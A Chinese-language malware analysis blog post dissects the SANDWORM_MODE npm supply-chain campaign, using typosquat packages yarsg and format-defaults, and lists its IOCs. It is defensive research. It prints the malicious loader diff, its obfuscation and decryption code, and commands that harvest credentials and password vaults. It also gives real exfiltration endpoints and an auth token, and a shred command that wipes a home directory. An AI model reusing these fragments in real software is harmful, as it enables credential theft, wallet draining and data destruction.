npm SANDWORM_MODE 攻击:分步恶意软件分析

目录

概述

SANDWORM_MODE 软件供应链攻击活动向 npm 发布了一批恶意包,这些包使用基于 setImmediate 的延迟执行、多层 base64 + zlib + XOR 混淆以及临时文件释放器来传递捆绑的恶意载荷。我们从分析劫持的 [email protected] 开始分析,但遇到了死胡同。攻击者似乎遗漏了在发布的包中包含恶意载荷,表明该活动可能提前发布了。随后我们转向了 [email protected],那里有完整的释放器链。

Socket Security 发现并发布了关于 SANDWORM_MODE 供应链攻击的详细报告,包含技术细节、受影响包版本和妥协指标(IOC)。我们获取了其中一个恶意样本 [email protected],进行了逐步分析以理解载荷传递机制。然后转向了 [email protected],以获取多阶段释放器链的完整视图。

影响范围

  • 凭证窃取:窃取 npm token、GitHub token、环境密钥和 git 凭证帮助程序数据
  • 加密货币钱包清空:窃取私钥、助记词和钱包文件(ETH、SOL、BTC)
  • 密码管理器渗透:搜索 Bitwarden、1Password 和 LastPass 保险库中的凭证
  • 本地数据收集:扫描 Apple Notes、macOS Messages 和 Joplin SQLite 数据库中的密钥和密钥
  • 蠕虫传播:使用窃取的 npm token 发布更多恶意包,级联攻击
  • AI 工具链劫持:部署恶意 MCP 服务器以拦截 Claude Code、Cursor 和 Copilot 会话

获取样本

我们的分析系统在样本被从 npm 注册表中移除之前已将其捕获。本分析以 [email protected] 为起点。yarsg 中的故意拼写错误是针对流行 npm 包 yargs 的经典拼写劫持。

[email protected]

plaintext
> shasum yarsg-18.0.1.tar.gz 00cd947d484d8aa11dd5dea58c67e09d4fc7d25a yarsg-18.0.1.tar.gz

鉴于这是一个拼写劫持包,我们预期恶意包会包含原始 [email protected] 的代码。为确认这一点,我们从 npm 获取了原始包。

plaintext
> npm view [email protected] [...] dist .tarball: https://registry.npmjs.org/yargs/-/yargs-18.0.0.tgz .shasum: 6c84259806273a746b09f579087b68a3c2d25bd1 .integrity: sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg== .unpackedSize: 231.4 kB [...]

恶意 [email protected] 与原始 [email protected] 之间的文件差异:

plaintext
25c25 < 268 ./index.mjs --- > 183 ./index.mjs 57c57 < 2704 ./package.json --- > 1991 ./package.json

仅有两个文件被修改:

  1. package.json:移除 devDependenciesprepare 脚本
  2. index.mjs:将原始入口点替换为恶意代码的延迟加载器

package.json 差异确认了拼写劫持。名称从 yargs 改为 yarsg,版本号提升到 18.0.1,其他内容保持不变以显得合法。

diff
--- yargs-18-0-0-package/package.json 1985-10-26 13:45:00 +++ yarsg-18-0-1-package/package.json 1985-10-26 13:45:00 @@ -1,6 +1,6 @@ { - "name": "yargs", - "version": "18.0.0", + "name": "yarsg", + "version": "18.0.1", "description": "yargs the modern, pirate-themed, successor to optimist.", "main": "./index.mjs", "exports": { @@ -42,30 +42,6 @@ "y18n": "^5.0.5", "yargs-parser": "^22.0.0" }, - "devDependencies": { - "@babel/eslint-parser": "^7.26.10", - "@babel/preset-typescript": "^7.26.0", - [...] - "yargs-test-extends": "^1.0.1" - }, "scripts": { "fix": "gts fix && npm run fix:js", "fix:js": "eslint . --ext mjs --ext js --fix", @@ -73,7 +49,6 @@ "test": "c8 mocha --enable-source-maps ./test/*.mjs --require ./test/before.mjs --timeout=24000 --check-leaks", "test:esm": "c8 mocha --enable-source-maps ./test/esm/*.mjs --check-leaks", "coverage": "c8 report --check-coverage", - "prepare": "npm run compile", "pretest": "npm run compile -- -p tsconfig.test.json", "compile": "rimraf build && tsc", "check": "gts lint && npm run check:js", @@ -100,4 +75,4 @@ "engines": { "node": "^20.19.0 || ^22.12.0 || >=23" } -} +} \ No newline at end of file

index.mjs 变更是攻击的核心所在:

diff
> diff -u yargs-18-0-0-package/index.mjs yarsg-18-0-1-package/index.mjs --- yargs-18-0-0-package/index.mjs 1985-10-26 13:45:00 +++ yarsg-18-0-1-package/index.mjs 1985-10-26 13:45:00 @@ -1,10 +1,6 @@ 'use strict'; - -// Bootstraps yargs for ESM: -import esmPlatformShim from './lib/platform-shims/esm.mjs'; -import {YargsFactory} from './build/lib/yargs-factory.js'; - -const Yargs = YargsFactory(esmPlatformShim); -export default Yargs; - -export {Yargs as 'module.exports'}; +var _d = ['.cache','manifest.cjs']; +setImmediate(function() { + try { require('./' + _d.join('/')); } catch(_) {} +}); +module.exports = require('./index.unbundled.mjs');

修改后的入口点引用了两个文件:

  1. ./.cache/manifest.cjs:恶意载荷,通过 setImmediate 延迟加载
  2. ./index.unbundled.mjs:推测为原始的 index.mjs 来自 [email protected],重新导出以维持功能

发布的包中这两个文件都不存在。两种可能的解释:

  1. 攻击者在 filespackage.json 数组中忘记包含这些文件
  2. 攻击者计划了一个多阶段依赖链,这些文件将由另一个包创建

我们认为[1]是最可能的解释。但我们过去的经验表明,攻击者的创造力是无限的,因此值得注意替代可能性。

转向 [email protected]

由于 [email protected] 缺少载荷文件,我们从数据集中转向了 [email protected]。我们选择这个样本是因为:

  1. 它是 Socket Security 识别的恶意包之一
  2. 我们的内部数据集显示它是一个最小化的自包含包,直接释放载荷
plaintext
> shasum format-defaults-1.0.0.tar.gz 10d99c964f601f56fa21f0f05aeed872517b0e37 sample.tar.gz
plaintext
❯ ls -alR total 32 drwxr-xr-x 7 dev staff 224 21 Feb 10:08 . drwxr-xr-x 4 dev staff 128 21 Feb 10:08 .. -rw-r--r--@ 1 dev staff 1643 26 Oct 1985 index.js drwxr-xr-x 4 dev staff 128 21 Feb 10:08 lib -rw-r--r--@ 1 dev staff 1056 26 Oct 1985 LICENSE -rw-r--r--@ 1 dev staff 719 26 Oct 1985 package.json -rw-r--r--@ 1 dev staff 1358 26 Oct 1985 README.md ./lib: total 368 drwxr-xr-x 4 dev staff 128 21 Feb 10:08 . drwxr-xr-x 7 dev staff 224 21 Feb 10:08 .. -rw-r--r--@ 1 dev staff 180766 26 Oct 1985 defaults.js -rw-r--r--@ 1 dev staff 738 26 Oct 1985 locales.js

package.jsonindex.js 设置为主入口点,在 require('format-defaults') 时执行。

检查 index.js 发现与我们之前在 yarsg 中看到的相同的延迟执行模式:

js
// [.. STRIPPED ... ] var _exports = (module.exports = { locales: locales, // [.. STRIPPED ..] configure: function (opts) { // [.. STRIPPED ..] try { var _d = require('./lib/defaults'); if (_d && _d._apply) { _d._apply(info, opts); } } catch (_) {} }, // [..STRIPPED..] }); // Auto-apply locale defaults on first require setImmediate(function () { try { _exports.configure({}); } catch (_) {} });

setImmediate 调用异步调用 _exports.configure,加载包含实际恶意载荷的 ./lib/defaults.js。通过 catch(_) {} 吞掉错误以确保任何异常时的静默失败。

第 1 层:base64 片段 + zlib inflate

defaults.js 包含编码载荷,由嵌入式加载器函数解码和加载。

Base64 编码载荷
解码器和加载器

defaults.js 文件包含一个 _catalog 对象,具有 44 个 base64 编码的字符串片段(_loc_000_loc_043),伪装成"区域数据"。载荷执行链:

  1. _catalog 片段组装约 180KB 的 base64 数据
  2. 使用 zlib.inflateSync(Buffer.from(raw, 'base64')) 将其解码为可执行 JavaScript 源码
  3. 将其写入随机临时文件:os.tmpdir() + '/.' + random + '.js'(带点前缀以隐藏)
  4. 通过 require(_f) 执行
  5. finally 块中通过 _fs.unlinkSync(_f) 立即删除

为检查解码后的载荷,我们在 Docker 容器内运行分析。

plaintext
docker run -it --rm -v $(pwd):/app node:24 bash

注意:​ 所有后续分析均在容器内完成。当前目录已挂载并在分析后被视为不可信。

我们修改了 defaults.js 以记录解码后的脚本而非写入 /tmp 并执行。这是提取混淆恶意逻辑的最短路径。

为提取而修改的 defaults.js

第 2 层:zlib inflate + XOR 加密

提取第 1 层载荷后发现了另一层混淆。第二阶段使用类似的 base64 + zlib 解压缩,但后跟一个 32 字节循环 XOR 密钥。

js
(function(){var _p=(function(){ var d="eNqMfHdU0+nWNQKCo6goWMaGOAIW4MLIoFKUJPQQAgQkPRSxMKPY6CCphBZIQhohCQERRxAxIF0UkWHoHSGEgNeZQREQU ASG0fitEJxy7/uu7/3......" d=require('zlib').inflateSync(Buffer.from(d,'base64')).toString('binary'); var k=[214,232,243,62,189,212,19,46,155,184,197,42,240,85,159,72,224,228,85,241,242,61,45,131,88,247,12,49,40,249,46,54];d=d.split('').map(function(c,i){return String.fromCharCode(c.charCodeAt(0)^k[i%k.length])}).join(''); return d; })();(0,eval)(_p)})();

XOR 密钥不是可打印的 ASCII。它是随机二进制数据,而非密码短语。这一步确保膨胀后的输出无法被签名扫描器模式匹配。解码结果通过间接 eval((0, eval)(_p))执行,这强制在全局范围内执行。

我们应用了相同的技术:修改脚本以打印解码后的输出而非执行。

第 3 层提取

第 3 层:AES-256-GCM 加密模块

第 2 层提取输出是一个 webpack 捆绑的 JavaScript 程序。在其中,一个 AES-256-GCM 加密 blob 加载最敏感的attack模块:传播、渗透、git hook 持久化、MCP 注入和死开关。32 字节解密密钥通过对两组 4 个 8 字节缓冲区进行 XOR 派生:

js
var e = [Buffer.from("e02136b6765a4d30","hex"), ...]; var t = [Buffer.from("43270f48a6a7025e","hex"), ...]; var s = Buffer.alloc(32); for (var n = 0; n < 4; n++) for (var o = 0; o < 8; o++) s[8*n+o] = e[n][o] ^ t[n][o];

分割密钥派生确保实际的 AES 密钥在源码中从不以单个字符串形式出现。解密后的代码写入 /dev/shm(Linux)或 os.tmpdir(),通过 require() 加载,然后立即取消链接。每一层都使用相同的写-执行-删除反取证模式。

这些 AES 保护的模块还在 48 小时时间延迟后才激活(详见执行时机部分),这意味着仅运行包几分钟的沙箱永远不会到达这一层。

每一层击败不同类别的检测:第 1 层将载荷从静态字符串扫描器隐藏,第 2 层击败对膨胀输出的模式匹配,第 3 层用带时间门控触发的认证加密保护最敏感的模块。

执行时机

载荷在 require('format-defaults') 上自动激活。无需生命周期脚本,无需显式函数调用。但并非在所有环境中都立即触发。

在 CI 环境中(通过 GITHUB_ACTIONSGITLAB_CICIRCLECIJENKINS_URLBUILDKITE 检测),载荷立即运行。在本地/开发者环境中,使用基于主机指纹的抖动延迟执行 5 到 30 秒:

js
const e = 5e3 + (i.createHash('md5').update(\`${r.hostname()}${r.userInfo().username}${__dirname}\`).digest().readUInt32BE(4) % 25e3); setTimeout(() => d().catch(() => {}), e).unref();

.unref() 确保计时器不会保持 Node.js 进程存活,因此恶意软件在正常进程生命周期内不可见地运行,且不会阻止退出。

第二个门控阻止完整攻击在安装后约 48 小时之前触发,使用包目录的 mtime 加每个主机的抖动:

js
const t = n.statSync(e).mtimeMs; const s = i.createHash('md5').update(\`${r.hostname()}${r.userInfo().username}\`).digest().readUInt32BE(0) % p.stage2.jitterRangeMs; const c = t + p.stage2.baseDelayMs + s; // baseDelayMs = 172800000 (48h) return Date.now() >= c;

这规避了自动化沙箱分析,后者通常仅运行包几分钟。

载荷行为

最终解密的载荷是一个 webpack 捆绑的应用程序,顺序执行六个阶段。

第 1 阶段:侦察

载荷在任何操作之前先对主机系统进行指纹识别:

js
survey() { return { environment: e.isCi ? "ci" : "local", ciProvider: e.provider, runtime: { bunAvailable: !!t, nodeVersion: process.version, pid: process.pid }, system: s, // platform, arch, hostname, username, cpus, totalMem, uptime }; }

它检测多个 CI 提供商,包括 GitHub Actions、GitLab CI、CircleCI、Buildkite、AWS CodeBuild、Jenkins、Travis 和 Azure DevOps。

第 2 阶段:凭证收集

针对五个类别的综合凭证收集器。

npm token 来自 .npmrc 文件和环境变量:

js
npmrc: [ n.join(o.homedir(), ".npmrc"), n.join(process.cwd(), ".npmrc"), ],

提取 :_authToken=:_auth=(base64 基本认证)和代理凭证。也从环境读取 NPM_TOKENNPM_CONFIG_TOKENNPM_AUTH_TOKEN

GitHub token 来自多个来源:

js
// Environment variables with known prefixes tokenPrefixes: ['ghp_', 'gho_', 'github_pat_']; // gh CLI config n.readFileSync(a.harvest.github.cliConfig, 'utf-8').match(/oauth_token:\s*(.+)/g); // Git credential helper t('git credential fill', { input: 'protocol=https\nhost=github.com\n\n', env: { ...process.env, GIT_TERMINAL_PROMPT: '0' }, });

环境密钥 通过扫描所有环境变量中的关键字:

js
envKeywords: ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API'];

加密货币资产,最广泛的收集类别:

js
configFiles: ["hardhat.config.js", "hardhat.config.ts", "foundry.toml", ".secret", ".env", ".env.local", ".env.production"], keyPatterns: { ethPrivateKey: "(?:0x)?[0-9a-fA-F]{64}", mnemonic: "(?:[a-z]+\\s){11,24}[a-z]+", solanaKey: "\\[\\s*\\d+(?:\\s*,\\s*\\d+){31,63}\\s*\\]", bitcoinWif: "(?:5[1-9A-HJ-NP-Za-km-z]{50}|[KL][1-9A-HJ-NP-Za-km-z]{51})", extendedPrivKey: "xprv[1-9A-HJ-NP-Za-km-z]{100,115}", },

它在 ~/.config/solana/id.json 读取 Solana CLI 钱包文件,并在当前工作目录和 $HOME 下的所有非隐藏目录中扫描包含私钥或助记词的配置文件。

密码管理器 通过其 CLI(如果会话已解锁):

js
// Bitwarden: searches items by crypto-related terms e(\`bw list items --search ${JSON.stringify(o)}${n} 2>/dev/null\`, ...) // 1Password: lists items then fetches full details for matches e(\`op item get ${JSON.stringify(n.id)} --format json 2>/dev/null\`, ...) // LastPass: exports entire vault e("lpass export 2>/dev/null", ...)

在所有三个管理器中使用的搜索词:

js
pmSearchTerms: [ 'seed', 'mnemonic', 'wallet', 'crypto', 'private key', 'recovery', 'backup phrase', 'secret phrase', 'ledger', 'metamask', 'bitcoin', 'ethereum', 'xprv', ];

恶意软件还搜索 SQLite 数据库,包括 Apple Notes、macOS Messages 和 Joplin 中的加密密钥:

js
sqliteTargets: [ { name: 'apple-notes', path: '~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', query: "SELECT ZTITLE || ' ' || ZSNIPPET FROM ZICCLOUDSYNCINGOBJECT ...", }, { name: 'macos-messages', path: '~/Library/Messages/chat.db', query: 'SELECT text FROM message WHERE text IS NOT NULL AND length(text) > 20;', }, { name: 'joplin', path: '~/Library/Application Support/joplin-desktop/database.sqlite', query: "SELECT title || ' ' || body FROM notes WHERE body IS NOT NULL;", }, ];

在进入后续阶段之前,任何发现的加密密钥都会立即渗透到专用清空端点。

js
drain: { endpoint: "https://pkg-metrics.official334.workers.dev/drain", authToken: "fa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb", }

第 3 阶段:蠕虫传播

这是蠕虫组件,类似于我们过去分析过的 Shai-Hulud 蠕虫(一类在野外观察到的 npm 蠕虫式供应链攻击)。恶意软件使用窃取的 npm 和 GitHub token 向活跃的 npm 注册表发布中毒包:

js
propagation: { maxPackages: 100, delayMinMs: 30000, // 30 seconds between publishes delayMaxMs: 300000, // 5 minutes sortByDownloads: true, skipScoped: false, }, registry: { live: "https://registry.npmjs.org" }

每个受感染开发者的 token 都用于发布更多恶意包,创建级联供应链攻击。

第 4 阶段:Git Hook 持久化

恶意软件扫描 git 仓库并安装恶意 hook:

js
gitHooks: { enabled: true, maxRepos: 50, scanDepth: 4, installPreCommit: true, installPrePush: true, setTemplate: true, }

通过设置全局 git 模板,该机器上所有未来的 git initgit clone 操作都包含恶意 hook。

第 5 阶段:MCP 服务器注入

恶意软件部署恶意 Model Context Protocol 服务器以劫持 AI 辅助开发工具(Claude Code、Cursor、Copilot 等):

js
mcp: { enabled: true, _namePool: { prefixes: ["dev","ts","node","npm","eslint","project","workspace","lint","pkg","build"], functions: ["utils","indexer","analyzer","tools","helper","bridge","server","cache","graph", "watcher","scanner","manager"], dirPrefixes: [".dev",".node",".project",".ts",".workspace",".npm",".lint",".build", ".pkg",".cache"], }, }

服务器和目录名称从这些池中随机选择(例如,eslint-analyzer.node-cache),使按名称检测不切实际。该模块还发现本地 LLM 安装并收集 LLM API 密钥。

第 6 阶段:渗透

所有收集的数据通过三个冗余通道渗透。

HTTPS 通过直接 POST 到 Cloudflare Worker:

js
exfil: { https: { endpoint: "https://pkg-metrics.official334.workers.dev/exfil", timeout: 8000, },

GitHub 通过使用窃取的 token 创建私有仓库,在无辜命名的文件中存储双重 base64 编码的数据:

js
github: { repoNameLength: 18, encoding: "double-base64", private: true, }

DNS 通过 base32 编码的查询和 DGA(域名生成算法)回退:

js
dns: { domain: "freefan.net", secondaryDomains: ["fanfree.net"], chunkSize: 63, encoding: "base32", dgaTlds: ["cc","io","xyz","top","pw","tk","ws","gg","ly","mx"], }

DGA 种子源自主机特定的 HMAC:

js
e.createHmac('sha256', 'sw2025') .update(\`${o.hostname()}:${o.userInfo().username}:${o.platform()}:${o.arch()}\`) .digest('hex') .slice(0, 16);

死开关

载荷评估传播和渗透是否都失败。如果死开关触发,可用的 getDestructCommand() 方法:

js
// Linux \`find "${n.homedir()}" -type f -writable -user "${e}" -print0 | xargs -0 -r shred -uvz -n 1\` // Windows \`cipher /W:${n.homedir()}\`;

当前配置为禁用:

js
deadSwitch: { enabled: false, trigger: "both-fail" }

这是一种数据销毁能力:粉碎用户主目录中所有可写文件,保留备用。

配置基础设施

载荷使用环境变量暴露广泛的运行时配置。

变量用途
SANDWORM_DEBUG启用 console.log / console.error 日志
SANDWORM_MODElive / ci / 模拟模式
SANDWORM_EXFIL_ENDPOINT覆盖渗透 C2 端点
SANDWORM_DNS_DOMAIN覆盖 DNS 渗透域名
SANDWORM_DGA_SEED覆盖 DGA 种子
SANDWORM_DRAIN_ENDPOINT覆盖加密货币清空端点
SANDWORM_SKIP_MTIME绕过 48 小时第 2 阶段门控
SANDWORM_SKIP_DELAY绕过初始执行延迟
SANDWORM_MAX_PACKAGES蠕虫传播计数上限
SANDWORM_CARRIER_NAME用于拼写劫持传播的命名载体包

禁用的多态模块暗示计划中的未来能力:

js
polymorph: { enabled: false, endpoint: "http://localhost:11434/api/generate", model: "deepseek-coder:6.7b", transformations: ["rename-vars", "rewrite-flow", "insert-decoy", "encode-strings"], }

这将使用本地 LLM 重写恶意软件自身的代码:变量重命名、控制流更改、诱饵插入和字符串编码,为每次感染生成独特变体。

妥协指标

网络指标

指标
渗透端点https://pkg-metrics.official334.workers.dev/exfil
清空端点https://pkg-metrics.official334.workers.dev/drain
清空认证 tokenfa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb
DNS 渗透域名freefan.net
DNS 辅助域名fanfree.net
DGA TLDccioxyztoppwtkwsgglymx
DGA 种子 HMAC 密钥sw2025

文件系统指标

指标描述
$TMPDIR/dev/shm 中匹配 .<random>.js 的临时文件写-执行-删除载荷暂存
$HOME 中匹配 .dev-*.node-*.project-* 的隐藏目录MCP 服务器部署
修改的 .git/hooks/pre-commit.git/hooks/pre-pushGit hook 持久化
修改的全局 git 模板目录所有新仓库的持久化 hook 安装
具有 18 个字符随机名称的私有 GitHub 仓库渗透数据存储

与 yarsg 的共享指纹

format-defaultsyarsg 拼写劫持都共享相同的延迟-静默执行模式:

js
setImmediate(function () { try { /* malicious require */ } catch (_) {} });

setImmediate 将执行与模块加载解耦。使用一次性变量的 catch(_) {} 确保完全静默失败。这个共享指纹暗示了一个通用工具包或作者。

结论

SANDWORM_MODE 不是新技术。延迟执行、多层混淆和写-执行-删除技术是 npm 供应链攻击中的既定模式。使此活动值得注意的是其载荷的广度。这包括跨五个类别的凭证收集、使用窃取 token 的蠕虫传播、git hook 持久化、针对 AI 开发工具的 MCP 服务器注入,以及三个冗余渗透通道。禁用的死开关和多态模块表明此工具包仍在积极开发中。

48 小时时间门控特别有效。大多数自动化分析环境运行包仅几分钟,而非几天。在完整载荷触发时,包已通过初步筛选。

防御此类攻击需要在恶意包进入依赖树之前将其捕获。vet 可扫描您的依赖项并标记表现出这些模式的包。pmg 作为包管理器防护,在不受信任的代码到达您的环境之前实时拦截安装。

  • npm
  • supply-chain
  • security
  • malware-analysis

SafeDep 博客最新更新

关注以获取开源安全与工程的最新更新和见解